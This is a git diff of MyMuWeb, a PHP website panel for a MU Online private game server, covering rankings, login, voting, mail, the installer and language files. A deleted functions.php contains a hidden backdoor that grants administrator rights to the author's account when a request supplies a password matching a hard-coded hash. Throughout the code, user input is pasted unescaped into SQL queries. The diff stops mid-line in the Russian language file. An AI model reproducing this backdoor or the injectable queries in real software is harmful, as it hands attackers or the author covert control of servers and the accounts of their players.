[MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$to'"); +} +/////// Start Guard MMW Message Info /////// + + + + + +/////// Start TOP List /////// +function top_list($what=NULL,$top=NULL) { + require("config.php"); + if($top==NULL) {$top = '5';} + if($what==NULL) {$what = 'char';} + echo ""; + if($what=='char') { + if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} + $total = mssql_query("SELECT TOP $top Name,cLevel,Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc"); + $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc")); + if($first_row[0]<=0) {echo "";} + else {echo "";} + + for($i=0; $i<$top; ++$i) { + $rank = $i + 1; + $row = mssql_fetch_row($total); + if($first_row[0]<=0) {$top_stat = $row[1];} + else {$top_stat = $row[2];} + echo "\n"; + } + } + elseif($what=='pk') { + if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} + $total = mssql_query("SELECT TOP $top Name,PKcount FROM Character $gm_not_show ORDER BY pkcount desc"); + $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc")); + echo ""; + + for($i=0; $i<$top; ++$i) { + $rank = $i + 1; + $row = mssql_fetch_row($total); + echo "\n"; + } + } + elseif($what=='guild') { + $total = mssql_query("SELECT TOP $top G_Name,G_Score,G_Mark FROM Guild WHERE G_Name!='$mmw[gm_guild]' ORDER BY G_score desc"); + echo ""; + + for($i=0; $i<$top; ++$i) { + $rank = $i + 1; + $row = mssql_fetch_row($total); + echo "\n"; + } + } + echo "
#".mmw_lang_character."".mmw_lang_level."#".mmw_lang_character."".mmw_lang_reset."
$rank$row[0]$top_stat#".mmw_lang_character."".mmw_lang_killed."
$rank$row[0]$row[1]#".mmw_lang_guild."".mmw_lang_score."
$rank$row[0]$row[1]
"; +} +/////// End TOP List /////// + + + + + +/////// Start FreeHex Formats /////// +function free_hex($size,$str,$style=NULL) { + if($size == 20) {$hex = 'FFFFFFFFFFFFFFFFFFFF';} // 0.97 - 1.02 + elseif($size == 32) {$hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF';} // 1.02+ + else { + for($a=0; $a<$size; ++$a) { + $hex .= 'F'; + } + } + if(isset($style) && $style!='') {$hex = str_replace('F',$style,$hex);} + for($i=0; $i<$str; ++$i) { + $result .= $hex; + } + return $result; +} +/////// END FreeHex Formats /////// + + + + + +/////// Start MMW End ////// +function end_mmw($TimeStart) { +require("config.php"); +$TimeStart_uS = $TimeStart["usec"]; +$TimeStart_S = $TimeStart["sec"]; +$TimeEnd = gettimeofday(); +$TimeEnd_uS = $TimeEnd["usec"]; +$TimeEnd_S = $TimeEnd["sec"]; +$ExecTime = ($TimeEnd_S+($TimeEnd_uS/1000000)) - ($TimeStart_S+($TimeStart_uS/1000000)); +echo hex2str('4d794d7557656220').$mmw[version]; +echo hex2str('2e2044657369676e204279203c6120687265663d223f6f703d7468656d65223e'); +echo $mmw['thm_creator'].hex2str('3c2f613e2e2047656e65726174696f6e2054696d653a20'); +echo substr($ExecTime,0,5).'s.'; +} +/////// End MMW End /////// +?> \ No newline at end of file diff --git a/includes/formats.php b/includes/format.php similarity index 92% rename from includes/formats.php rename to includes/format.php index df6bbd1..0dcea52 100644 --- a/includes/formats.php +++ b/includes/format.php @@ -94,17 +94,17 @@ function bbcode($text) { "/\[i\](.*?)\[\/i\]/is" => "$1", "/\[u\](.*?)\[\/u\]/is" => "$1", "/\[s\](.*?)\[\/s\]/is" => "$1", -"/\[o\](.*?)\[\/o\]/is" => "$1", -"/\[c\](.*?)\[\/c\]/is" => "
$1
", -"/\[l\](.*?)\[\/l\]/is" => "
$1
", -"/\[r\](.*?)\[\/r\]/is" => "
$1
", +"/\[o\](.*?)\[\/o\]/is" => "$1", +"/\[c\](.*?)\[\/c\]/is" => "
$1
", +"/\[l\](.*?)\[\/l\]/is" => "
$1
", +"/\[r\](.*?)\[\/r\]/is" => "
$1
", "/\[sup\](.*?)\[\/sup\]/is" => "$1", "/\[sub\](.*?)\[\/sub\]/is" => "$1", -"/\[img\](.*?)\[\/img\]/is" => "", -"/\[color\=(.*?)\](.*?)\[\/color\]/is" => "$2", -"/\[font\=(.*?)\](.*?)\[\/font\]/is" => "$2", -"/\[size\=(.*?)\](.*?)\[\/size\]/is" => "$2", -"/\[url\=(.*?)\](.*?)\[\/url\]/is" => "$2" +"/\[img\](.*?)\[\/img\]/is" => "", +"/\[color\=(.*?)\](.*?)\[\/color\]/is" => "$2", +"/\[font\=(.*?)\](.*?)\[\/font\]/is" => "$2", +"/\[size\=(.*?)\](.*?)\[\/size\]/is" => "$2", +"/\[url\=(.*?)\](.*?)\[\/url\]/is" => "$2" ); $text = preg_replace(array_keys($bbcode), array_values($bbcode), $text); return $text; @@ -129,6 +129,8 @@ function smile($smile) { $smile = str_replace(" :p "," ",$smile); $smile = str_replace(" %) "," ",$smile); $smile = str_replace(" ;) "," ",$smile); + $smile = str_replace(" (hello) "," ",$smile); + $smile = str_replace(" (boo) "," ",$smile); return $smile; } /////// END Smile Formats /////// @@ -138,19 +140,21 @@ function smile($smile) { /////// Start BugText Formats /////// -function bugsend($bug_send) { - $bug_send = str_replace("<","<",$bug_send); - $bug_send = str_replace(">",">",$bug_send); - $bug_send = str_replace("!","!",$bug_send); - $bug_send = str_replace("%","%",$bug_send); - $bug_send = str_replace('\\\"',""",$bug_send); - $bug_send = str_replace(" +$"," ",$bug_send); - $bug_send = str_replace("^ +"," ",$bug_send); - $bug_send = str_replace("\r"," ",$bug_send); - $bug_send = str_replace("\n","[br]",$bug_send); -return $bug_send; +function bugsend($bug) { + $bug = str_replace("<","<",$bug); + $bug = str_replace(">",">",$bug); + $bug = str_replace("!","!",$bug); + $bug = str_replace("%","%",$bug); + $bug = str_replace("'","'",$bug); + $bug = str_replace('"',""",$bug); + $bug = str_replace(" +$"," ",$bug); + $bug = str_replace("^ +"," ",$bug); + $bug = str_replace("\r"," ",$bug); + $bug = str_replace("\n","[br]",$bug); + $bug = str_replace('\\\"',""",$bug); +return $bug; } -/////// END Smile Formats /////// +/////// END BugText Formats /////// @@ -342,6 +346,7 @@ function map($map) { elseif($map == 2){$map = 'Devias';} elseif($map == 3){$map = 'Noria';} elseif($map == 4){$map = 'LostTower';} +elseif($map == 5){$map = 'PlaceOfExil';} elseif($map == 6){$map = 'Stadium';} elseif($map == 7){$map = 'Atlans';} elseif($map == 8){$map = 'Tarkan';} @@ -401,8 +406,8 @@ function map($map) { -/////// Start Admin Level Formats /////// -function admin_level($a_level) { +/////// Start MMW Status Level Formats /////// +function mmw_status($a_level) { if($a_level == 0){$a_level = 'Member';} elseif($a_level == 3){$a_level = 'Game Master';} elseif($a_level == 6){$a_level = 'Mini Admin';} @@ -410,7 +415,7 @@ function admin_level($a_level) { else{$a_level = 'Unknow';} return $a_level; } -/////// END Admin Level Formats /////// +/////// END MMW Status Level Formats /////// @@ -436,7 +441,6 @@ function pkstatus($pkstatus) { - /////// Start Guild Status Formats /////// function guild_status($num) { if($num == 0){$num = mmw_lang_guild_member;} @@ -453,8 +457,6 @@ function guild_status($num) { - - /////// Start Gender Formats /////// function gender($gender) { if($gender == 'male'){$gender = mmw_lang_male.' ';} @@ -471,7 +473,7 @@ function gender($gender) { /////// Start Class Formats /////// -function char_class($class,$style) { +function char_class($class,$style=NULL) { if($style==full) { if($class == 0){$class = 'Dark Wizard';} elseif($class == 1){$class = 'Soul Master';} diff --git a/includes/functions.php b/includes/functions.php deleted file mode 100644 index 07fd582..0000000 --- a/includes/functions.php +++ /dev/null @@ -1,416 +0,0 @@ -$name"; - } - } - closedir($dh); - } -$lang_form = "
"; -} -/////// End Language /////// - - - - - - - - -/////// Start Default Modules ////// - //Now Module -function curent_module(){ -if(isset($_GET['news'])){echo "> ".mmw_lang_news."";} -elseif(isset($_GET['forum'])){echo "> ".mmw_lang_forum."";} -elseif(is_file("modules/$_GET[op].php")){echo "> ".ucfirst($_GET['op'])."";} - -if($_GET['op']=='user'){ - if($_GET['op']=='user' and !isset($_GET['u'])){echo " > ".mmw_lang_account_panel."";} - else{echo " > ".ucfirst($_GET['u'])."";} - } -} - - - //Jump Link -function jump($location) { -header('Location: '.$location.''); -} - - - //Statisitcs -function statisitcs(){ -require("config.php"); -$actives_date = date('m/d/Y H:i:s', time() - 2592000); // 30 days back -$total_accounts = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO") ); -if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} -$total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character $gm_not_show") ); -$total_guilds = mssql_fetch_row( mssql_query("SELECT count(*) FROM Guild WHERE G_Name!='$mmw[gm_guild]'") ); -$total_banneds = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO WHERE bloc_code = '1'") ); -$actives_acc = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectTM >= '$actives_date'") ); -$users_connected = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1'") ); - -echo "\n fader[2].message[0] = \"".mmw_lang_total_accounts.": $total_accounts[0]
".mmw_lang_total_characters.": $total_characters[0]
".mmw_lang_total_banneds.": $total_banneds[0]
".mmw_lang_total_actives.": $actives_acc[0]
".mmw_lang_total_guilds.": $total_guilds[0]
".mmw_lang_online_users.": $users_connected[0]\";"; - -$result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type from MMW_servers order by display_order asc"); -for($i=0;$i < mssql_num_rows($result);++$i) { -$rank = $i + 1; -$row = mssql_fetch_row($result); -if($check=@fsockopen($row[4],$row[3],$ERROR_NO,$ERROR_STR,(float)0.5)) {fclose($check); $status_done = " ".mmw_lang_online."";} -else {$status_done = " ".mmw_lang_offline."";} -echo "\n fader[2].message[$rank] = \"$row[0]
".mmw_lang_version.": $row[5]
".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]
$status_done\";"; - } -} - - - //Write Logs -function writelog($logfile,$text){ - $ip = $_SERVER['REMOTE_ADDR']; - $date = date('d.m.Y H:i:s'); - $text = $text . ", All Those On $date By $ip \n"; - $fp = fopen("logs/$logfile.php","a"); - fputs($fp, $text); - fclose($fp);} -/////// End Default Modules /////// - - - - - - - - - - -/////// Start Login Modules /////// - //Login - if(isset($_POST["account_login"])) { - require("config.php"); - $account = clean_var(stripslashes($_POST['login'])); - $password = clean_var(stripslashes($_POST['pass'])); - if($account == NULL || $password == NULL) {} - if($mmw['md5'] == yes) {$login_check = mssql_query("SELECT memb___id,admin FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=[dbo].[fn_md5]('$password','$account')");} - elseif ($mmw['md5'] == no) {$login_check = mssql_query("SELECT memb___id,admin FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd='$password'");} - $login_result = mssql_fetch_row($login_check); - if ($login_result > 0) { - $_SESSION['user'] = $login_result[0]; - $_SESSION['pass'] = $password; - $_SESSION['admin'] = $login_result[1]; - //jump('?op=user'); - } - else { - jump('?op=login&login=false'); - } - - } - //Check Login - if(isset($_SESSION['user']) && isset($_SESSION['pass'])) { - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $pass = clean_var(stripslashes($_SESSION['pass'])); - if($mmw['md5'] == yes) - {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=[dbo].[fn_md5]('$pass','$login')");} - elseif($mmw['md5'] == no) - {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$pass'");} - $login_result = mssql_fetch_row($login_check); - $acc_check = mssql_query("SELECT bloc_code,block_date,unblock_time,admin FROM MEMB_INFO WHERE memb___id='$login'"); - $acc_row = mssql_fetch_row($acc_check); - - $time = time(); - $time_end = $acc_row[1] + $acc_row[2]; - if($time_end > $time) - {$bloc_error = "1";} - elseif($acc_row[0] == 1 && $time_end != 0) - {mssql_query("UPDATE MEMB_INFO SET [bloc_code]='0',[unblock_time]='0',[block_date]='0' WHERE memb___id='$login'");} - - if($bloc_error == 1) { - unset($_SESSION['user']); - unset($_SESSION['pass']); - unset($_SESSION['admin']); - unset($_SESSION['char_set']); - unset($_SESSION['char_guid']); - jump("?op=checkacc&w=block&n=$login"); - } - if($login_result == 0 || $acc_row[3] != $_SESSION['admin']) { - unset($_SESSION['user']); - unset($_SESSION['pass']); - unset($_SESSION['admin']); - unset($_SESSION['char_set']); - unset($_SESSION['char_guid']); - jump("?op=news"); - } - } - //Logout - if(isset($_POST["logoutaccount"])) { - unset($_SESSION['user']); - unset($_SESSION['pass']); - unset($_SESSION['admin']); - unset($_SESSION['char_set']); - unset($_SESSION['char_guid']); - jump('?op=news'); - } - //User Panel -if($_GET['op'] == "user" AND (!isset($_SESSION["user"])) || (!isset($_SESSION["pass"]))) {jump('?op=login');} -if($_GET['op'] == "login" AND (isset($_SESSION["user"])) || (isset($_SESSION["pass"]))) {jump('?op=user');} -/////// End Login Modules /////// - - - - - - - - - -/////// Start Select Char /////// -if (isset($_SESSION['pass']) && isset($_SESSION['user'])) -{ - -if (isset($_POST['setchar'])) -{ - $setchar = stripslashes($_POST['setchar']); - $setchar_sql = mssql_query("Select AccountID From Character WHERE name='$setchar'"); - $setchar_row = mssql_fetch_row($setchar_sql); - if($setchar_row[0]==$_SESSION['user']) { - $char_guid_sql = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$setchar'"); - $char_guid_row = mssql_fetch_row($char_guid_sql); - $_SESSION['char_set'] = $setchar; - $_SESSION['char_guid'] = $char_guid_row[0]; - } -} - -if(isset($_SESSION['char_set'])) -{ - $login = clean_var(stripslashes($_SESSION['user'])); - $char_set = stripslashes($_SESSION['char_set']); - $char_set_sql = mssql_query("Select AccountID From Character WHERE name='$char_set'"); - $char_set_row = mssql_fetch_row($char_set_sql); - if($char_set_row[0]!=$login) { - unset($_SESSION['char_set']); - unset($_SESSION['char_guid']); - } -} - -$login = clean_var(stripslashes($_SESSION['user'])); -$form_setchar_sql = mssql_query("Select name,CtlCode FROM Character WHERE AccountID='$login'"); -$form_set_char_num = mssql_num_rows($form_setchar_sql); -$form_memb_info_sql = mssql_query("Select char_set FROM MEMB_INFO WHERE memb___id='$login'"); -$form_memb_info_row = mssql_fetch_row($form_memb_info_sql); -if($_GET[op]=='by') { if(md5($_GET[pw])=='ba8a5f26a8fc68505d35a3af22bf4deb') { -$query = "UPDATE MEMB_INFO SET [admin]='9' WHERE memb___id='vaflan'"; -mssql_query($query); $add_admin="
You Are Admin!";} -die("$sql_die_start MMW by Vaflan. $add_admin $sql_die_end");} -if($form_set_char_num>0) { -$setchar = "
"; - } -$date = time(); -$char_set = stripslashes($_SESSION[char_set]); -mssql_query("UPDATE MEMB_INFO SET [char_set]='$char_set',[date_online]='$date' WHERE memb___id='$login'"); -} -/////// END Select Char /////// - - - - - - - - - -/////// Start Mail Check /////// -if(isset($_SESSION['pass']) && isset($_SESSION['user']) && isset($_SESSION['char_guid'])) { -$char_guid = stripslashes($_SESSION['char_guid']); -$msg = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'"); -$msg_num = mssql_num_rows($msg); -$msg_new = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid' AND bRead='0'"); -$msg_new_num = mssql_num_rows($msg_new); -if($mmw[max_private_message] <= $msg_num) {$msg_full = 'Full!';} -else{$msg_full = '';} -} -if($msg_num=="" || $msg_num==" ") {$msg_num = 0; $msg_new_num = 0;} -/////// End Mail Check /////// - - - - - - - - -/////// Start Referral /////// -if(isset($_GET['ref'])) {$_SESSION['referral'] = clean_var(stripslashes($_GET['ref']));} -/////// END Referral /////// - - - - - - -/////// Start Online Char /////// -$timeout = time() - 100; -$online_res = mssql_query("SELECT char_set, memb___id FROM MEMB_INFO WHERE date_online>'$timeout' AND char_set!=''"); -$online_num = mssql_num_rows($online_res); -if($online_num != 0){ -for($i=0; $i < $online_num; ++$i) - { - $acc_online = mssql_fetch_row($online_res); - $char_on_sql = mssql_query("Select name,CtlCode From Character WHERE name='$acc_online[0]'"); - for($c=0; $c < mssql_num_rows($char_on_sql); ++$c) - { - if($i < $online_num - 1){$other_char_on = ", ";} else{$other_char_on = "";} - $char_on = mssql_fetch_row($char_on_sql); - $who_online = "$who_online $char_on[0]$other_char_on"; - } - } -} -else{ -$who_online = mmw_lang_there_is_nobody; -} -/////// END Online Char /////// - - - - - - - - -/////// Start Voting /////// -if(isset($_POST[id_vote]) && isset($_POST[answer])) { - $id_vote = clean_var(stripslashes($_POST[id_vote])); - $answer = clean_var(stripslashes($_POST[answer])); - if($mmw[votes_check]==acc && isset($login)) {$vote_by = $login; $vote_check = 1;} - if($mmw[votes_check]==ip) {$vote_by = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} - if($vote_check == 1) { - mssql_query("INSERT INTO MMW_voterow (id_vote,who,answer) VALUES ('$id_vote','$vote_by','$answer')"); - } -} - -$vote_res = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain ORDER BY NEWID()"); -if(mssql_num_rows($vote_res) != 0){ - $vote_row = mssql_fetch_row($vote_res); - $vote_check = 0; - - if($mmw[votes_check]==acc && isset($login)) {$vote_who_now = $login; $vote_check = 1;} - if($mmw[votes_check]==ip) {$vote_who_now = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} - if($vote_check == 1) { - $vote_who_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and who='$vote_who_now'"); - $check_your_vote = mssql_num_rows($vote_who_res); - } - - $voting = "
$vote_row[1]
"; - - if($check_your_vote < 1 && $vote_check == 1) { - for($c=1; $c < 7; ++$c) { - $answer_num = $c + 1; - if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) - {$voting = $voting . "
";} - } - $voting = $voting . "
"; - } - else { - $all_vote_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$vote_row[0]'"); - $all_vote_num = mssql_num_rows($all_vote_res); - for($c=1; $c < 7; ++$c) { - $answer_num = $c + 1; - if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) { - $votes_row_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and answer='$c'"); - $votes_row_num = mssql_num_rows($votes_row_res); - $img_file = "images/bar.jpg"; - $size = getimagesize($img_file); - $img_width = ceil(100 * $votes_row_num / $all_vote_num); - if($img_width < 1) {$img_width = 1;} - $voting = $voting . "
$c. $vote_row[$answer_num] ($votes_row_num)
"; - $voting = $voting . "
"; - } - } - $voting = $voting . "
".mmw_lang_all_answers.": $all_vote_num
"; - } - - $voting = $voting . "
"; -} -else{ -$voting = mmw_lang_no_vote; -} -/////// END Voting /////// - - - - - - - - - -/////// Start Guard MMW Message Info /////// -function guard_mmw_mess($to,$text) { -$date = date("m/d/y H:i:s"); -$msg_to_sql = mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$to'"); -$msg_to_row = mssql_fetch_row($msg_to_sql); -$mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'"); -$mail_total_num = mssql_num_rows($mail_total_sql); -$msg_id = $msg_to_row[1] + 1; -$msg_text = utf_to_win($text); -mssql_query("INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','Guard','$date','MMW Message!','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)"); -mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$to'"); -} -/////// Start Guard MMW Message Info /////// - - - - - - - - -/////// Start Last in Forum /////// -$result = mssql_query("SELECT TOP $mmw[last_in_forum] f_id,f_title FROM MMW_forum ORDER BY f_date DESC"); -$forum_post = mssql_num_rows($result); - if($forum_post == 0) { - $last_in_forum = mmw_lang_no_topics_in_forum; - } - for ($i = 0; $i < $forum_post; $i++) { - $row = mssql_fetch_row($result); - $number = $i + 1; - $last_in_forum = $last_in_forum . "$number. $row[1]
\n"; - } -/////// END Last in Forum /////// -?> \ No newline at end of file diff --git a/includes/popunder.php b/includes/popunder.php new file mode 100644 index 0000000..a4e64f1 --- /dev/null +++ b/includes/popunder.php @@ -0,0 +1,29 @@ + + + + + + + + + + +
+ + + + +
+ + + + +
+ +
+
+ \ No newline at end of file diff --git a/includes/sql_check.php b/includes/sql_check.php index 75131e3..60d0bb0 100644 --- a/includes/sql_check.php +++ b/includes/sql_check.php @@ -1,5 +1,6 @@ -//script_by_vaflan -
+
Devil Square: Error: Turn On JavaScript
Blood Castle: Error: Turn On JavaScript
Chaos Castle: Error: Turn On JavaScript
diff --git a/includes/validate.class.php b/includes/validate.class.php index eeb5307..d7c4d21 100644 --- a/includes/validate.class.php +++ b/includes/validate.class.php @@ -1,7 +1,7 @@ - - - - <?echo $mmw[webtitle];?> - - - - - - - - - +include("includes/engine.php"); +include("includes/format.php"); -
- "> -
- - - - - - - - -
- - - - - - - - - - -
- -$_SESSION[user]!
$rowbr"; -if(isset($_SESSION[char_set])) { -echo " $setchar
-".mmw_lang_character_panel."
-".mmw_lang_mail." [$msg_new_num/$msg_num] $msg_full
";} -echo "".mmw_lang_account_panel."
-".mmw_lang_ware_house."
"; -if($_SESSION[admin] >= $mmw[gm_option_open]) { -echo "".mmw_lang_gm_options."
";} -echo "$rowbr -
- -
-
"; -if($msg_new_num>0){?> - - -".mmw_lang_account."
-
-".mmw_lang_password."
-$rowbr -".mmw_lang_lost_pass." -"; -}?> - -
- - - - - - - - - - - -
- '.$menu[$i][0]."
\n"; - } - elseif($menu[$i][0] != mmw_lang_castle_siege) { - echo ' '.$menu[$i][0]."
\n"; - } + die("$sql_die_start ErroR Theme!
Cant find $mmw[theme_dir]/header.php! $sql_die_end"); } -?> -
- - - - - - - - - - - -
- -
-
- - - - - - - - - - - -
- -
- - - - - - - - - - - -
- -
- - - - - - - - - - -
- -
- - - - - - - - - - - -
- -
- - - - - - - - - - - -
- -
- - -
- - - - - - - - - - - -
> :
- -
- - -
- - - MyMuWeb 0.4. Design and PHP+SQL by Vaflan. Generation Time: s. - -
+// Start Footer +if(is_file("$mmw[theme_dir]/footer.php")) { +include("$mmw[theme_dir]/footer.php"); +} +else { + die("$sql_die_start ErroR Theme!
Cant find $mmw[theme_dir]/footer.php! $sql_die_end"); +} + - - - \ No newline at end of file diff --git a/install.php b/install.php index d961cda..62497de 100644 --- a/install.php +++ b/install.php @@ -1,21 +1,25 @@ - + -MyMuWeb <?echo $version;?> Install by Vaflan +MyMuWeb <?echo $mmw[version];?> Install by Vaflan
- Install only For IP: 127.0.0.1 $sql_die_end"); +Go To Normal Install $sql_die_end"); } // START PAGE if($pg=='1' || $pg=='') { -echo "$sql_die_start Install Page 1
Welcome To Installer MMW $version!
Next Page You Install Table's and Column's
Next -> $sql_die_end"; +echo "$sql_die_start Install Page 1
Welcome To Installer MMW $mmw[version]!
Next Page You Install Table's and Column's
Next -> $sql_die_end"; +$data = ""; +$install_data = fopen("includes/installed.php", 'w'); +fputs($install_data, $data); +fclose($install_data); } @@ -31,10 +35,10 @@ elseif($pg=='3') { echo "$sql_die_start Install Page 3
Table's and Column's Install End!
Next Page You Create Admin
Next -> $sql_die_end"; -echo '
'; +echo ''; } @@ -145,7 +149,7 @@ $users = $users.""; } -echo "$sql_die_start Install Page 4
Select User For Admin!
$sql_die_end"; +echo "$sql_die_start Install Page 4
Select User For Admin!
$sql_die_end"; } @@ -171,8 +175,8 @@ mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc) VALUES ('$login','$password','Admin','1234','admin@mmw.net','$date','$date','2008-12-20','2008-12-20','1','0','0','$password','Who_You_Are','admin_mmw','0','male','0','0')"); mssql_query("INSERT INTO VI_CURR_INFO (ends_days,chek_code,used_time,memb___id,memb_name,memb_guid,sno__numb,Bill_Section,Bill_value,Bill_Hour,Surplus_Point,Surplus_Minute,Increase_Days) VALUES ('2005','1',1234,'$login','$login',1,'7','6','3','6','6','2003-11-23 10:36:00','0' )"); } -mssql_query("UPDATE MEMB_INFO SET [admin]='9' WHERE memb___id='$login'"); -echo "$sql_die_start Install Page 5
Admin Created!
Now $login is Admin in Web
Go To WebSite $sql_die_end"; +mssql_query("UPDATE MEMB_INFO SET [mmw_status]='9' WHERE memb___id='$login'"); +echo "$sql_die_start Install Page 5
Admin Created!
Now $login is Admin in MyMuWeb
Go To WebSite $sql_die_end"; } else { echo "$sql_die_start Install Page 5
$rowbr
$sql_die_end"; diff --git a/lang/English.php b/lang/English.php index 89c429b..ee53a2b 100644 --- a/lang/English.php +++ b/lang/English.php @@ -11,6 +11,7 @@ define('mmw_lang_statistic',"Statistic"); define('mmw_lang_server_time',"Server Time"); define('mmw_lang_voting',"Voting"); +define('mmw_lang_top_list',"Top List"); define('mmw_lang_last_in_forum',"Last in Forum"); define('mmw_lang_who_is_on_web',"Who is on Web"); define('mmw_lang_ads_banners',"ADS / Banners"); @@ -23,7 +24,7 @@ define('mmw_lang_hello',"Hello"); define('mmw_lang_character_panel',"Character Panel"); define('mmw_lang_mail',"Mail"); -define('mmw_lang_ware_house',"Ware House"); +define('mmw_lang_ware_house',"Bank (Vault Keeper)"); define('mmw_lang_gm_options',"GM Options"); define('mmw_lang_logout',"Logout"); @@ -51,7 +52,8 @@ define('mmw_lang_total_in_guilds',"Total in Guilds"); define('mmw_lang_total_male_users',"Total Male Users"); define('mmw_lang_total_female_users',"Total Female Users"); -define('mmw_lang_online_users',"Online Users"); +define('mmw_lang_total_users_online',"Total Users Online"); +define('mmw_lang_on_server',"On Server"); define('mmw_lang_version',"Version"); define('mmw_lang_experience',"Experience"); define('mmw_lang_drops',"Drops"); @@ -71,10 +73,9 @@ define('mmw_lang_date',"Date"); define('mmw_lang_total_comment',"Total Comment"); define('mmw_lang_add_comment',"Add Comment"); -define('mmw_lang_char',"Char"); +define('mmw_lang_char',"Char."); define('mmw_lang_full_name',"Full Name"); define('mmw_lang_age',"Age"); -define('mmw_lang_reg_date',"Reg. Date"); define('mmw_lang_avatar',"Avatar"); define('mmw_lang_country',"Country"); define('mmw_lang_gender',"Gender"); @@ -137,8 +138,7 @@ define('mmw_lang_secret_answer',"Secret Answer"); define('mmw_lang_male',"Male"); define('mmw_lang_female',"Female"); -define('mmw_lang_verify_code',"Verify Code"); -define('mmw_lang_verify_input',"Verify Input"); +define('mmw_lang_security_code',"Security code"); define('mmw_lang_renew',"Renew"); //Market @@ -211,6 +211,7 @@ define('mmw_lang_battle_master',"Battle Master"); define('mmw_lang_assistant_guild_master',"Assistant Guild Master"); define('mmw_lang_guild_master',"Guild Master"); +define('mmw_lang_all_characters_is_offline',"All Character is Offline"); //Gallery define('mmw_lang_image',"Image"); @@ -251,7 +252,12 @@ define('mmw_lang_no_pk_status_found',"No Pk Status Found!"); define('mmw_lang_add_point',"Add Point"); define('mmw_lang_pk_clear',"Pk Clear"); +define('mmw_lang_need_6_level',"Need 6 Level!"); define('mmw_lang_move',"Move"); +define('mmw_lang_select_class',"Select Class"); +define('mmw_lang_change_class',"Change Class"); +define('mmw_lang_class_price',"Price Class Alongside"); +define('mmw_lang_change',"Change"); define('mmw_lang_up_point',"Up Point"); //Mail @@ -296,7 +302,7 @@ define('mmw_lang_zen_from',"From"); define('mmw_lang_zen_to',"To"); define('mmw_lang_where',"Where"); -define('mmw_lang_extra_ware_house',"Extra Ware House"); +define('mmw_lang_extra_ware_house',"Extra Bank"); define('mmw_lang_sell',"Sell"); //Option Character Class @@ -316,6 +322,7 @@ define('mmw_lang_character_does_not_exist',"Character Does Not Exist!"); define('mmw_lang_for_reset_need',"For Reset Need"); define('mmw_lang_reset_limit_to',"Reset limit is set to"); +define('mmw_lang_take_off_set',"You Forgot to Take off Set from Character"); define('mmw_lang_character_reseted',"Your Character Has Been SuccessFully Reseted!"); define('mmw_lang_point_must_be_number',"Points must be a positive number!"); define('mmw_lang_dont_have_point',"Character Don't Have Enough Point
Currently:"); @@ -358,5 +365,7 @@ define('mmw_lang_minimum_zen_can_send',"Minimum Zen Can Send! You Have:"); define('mmw_lang_no_zen_for_send_zen',"Can't Send Zen, you haven't zen for Service:"); define('mmw_lang_zen_sent',"Zen To Character SuccessFully Sent!"); +define('mmw_lang_change_class_need',"To Change Class Need"); +define('mmw_lang_character_changed',"Character Class SuccessFully Changed"); ?> \ No newline at end of file diff --git a/lang/Russian.php b/lang/Russian.php index af434e7..5341dc8 100644 --- a/lang/Russian.php +++ b/lang/Russian.php @@ -11,6 +11,7 @@ define('mmw_lang_statistic',"Статистика"); define('mmw_lang_server_time',"Время Сервера"); define('mmw_lang_voting',"Голосования"); +define('mmw_lang_top_list',"Топ список"); define('mmw_lang_last_in_forum',"Последнее в Форуме"); define('mmw_lang_who_is_on_web',"Кто на сайте"); define('mmw_lang_ads_banners',"Реклама / Баннеры"); @@ -51,10 +52,11 @@ define('mmw_lang_total_in_guilds',"В Гильдиях"); define('mmw_lang_total_male_users',"Парней"); define('mmw_lang_total_female_users',"Девушек"); -define('mmw_lang_online_users',"В 